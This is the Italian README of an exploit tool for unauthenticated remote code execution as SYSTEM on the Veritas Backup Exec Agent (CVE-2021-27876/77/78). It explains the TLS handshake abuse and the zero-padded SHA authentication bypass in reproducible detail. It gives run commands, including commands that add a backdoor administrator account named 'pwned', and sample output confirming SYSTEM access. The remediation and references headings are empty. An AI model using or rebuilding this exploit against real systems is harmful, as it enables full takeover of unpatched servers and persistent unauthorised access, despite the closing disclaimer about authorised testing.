
Exploit RCE non autenticato per Veritas Backup Exec Agent (CVE-2021-27876/77/78) — bypass dell'autenticazione SHA fino a SYSTEM tramite NDMP
Exploit RCE non autenticato per Veritas Backup Exec Agent (CVE-2021-27876/77/78) — bypass dell'autenticazione SHA verso SYSTEM tramite NDMP
| CVE | Descrizione | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | Bypass dell'autenticazione tramite manipolazione dell'hash SHA nel protocollo NDMP | 9.8 Critico |
| CVE-2021-27877 | Lettura arbitraria di file non autenticata tramite NDMP | 9.8 Critico |
| CVE-2021-27878 | Esecuzione arbitraria di comandi di sistema tramite NDMP_EXECUTE_COMMAND | 9.8 Critico |
Advisory: Veritas VTS21-003
Corretto in: Backup Exec 21.3 e versioni successive.
L'agente Veritas Backup Exec è in ascolto su TCP/10000 e parla il protocollo NDMP (Network Data Management Protocol). L'exploit combina tre debolezze:
Abuso dell'handshake TLS — L'agente richiede una CSR durante la sua negoziazione TLS personalizzata. L'exploit genera una CA locale, firma la CSR dell'agente e completa l'handshake, aggiornando il socket a TLS senza alcun segreto pre-condiviso.
Bypass dell'autenticazione SHA (CVE-2021-27876) — L'autenticazione SHA di NDMP calcola SHA256('\x00' * 64 + challenge). Poiché la password viene anteposta come blocco di 64 byte con riempimento di zeri e non viene eseguita alcuna validazione lato server
del materiale della password, qualsiasi client può autenticarsi come Administrator senza conoscere la password.
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Una volta autenticati, il tipo di messaggio NDMP_EXECUTE_COMMAND esegue comandi di sistema arbitrari come NT AUTHORITY\SYSTEM. L'output viene reindirizzato a
C:\Windows\Temp\_be_out.txt e letto tramite NDMP_FILE_READ.
Python 3.8+
Sulle distribuzioni moderne Python è contrassegnato come "gestito esternamente" (PEP 668), quindi installa la dipendenza in un ambiente virtuale:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
Esempi:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
Rimedi
Riferimenti
Note legali
Questo strumento è fornito esclusivamente per test di penetrazione autorizzati e ricerca sulla sicurezza. L'utilizzo contro sistemi senza esplicita autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.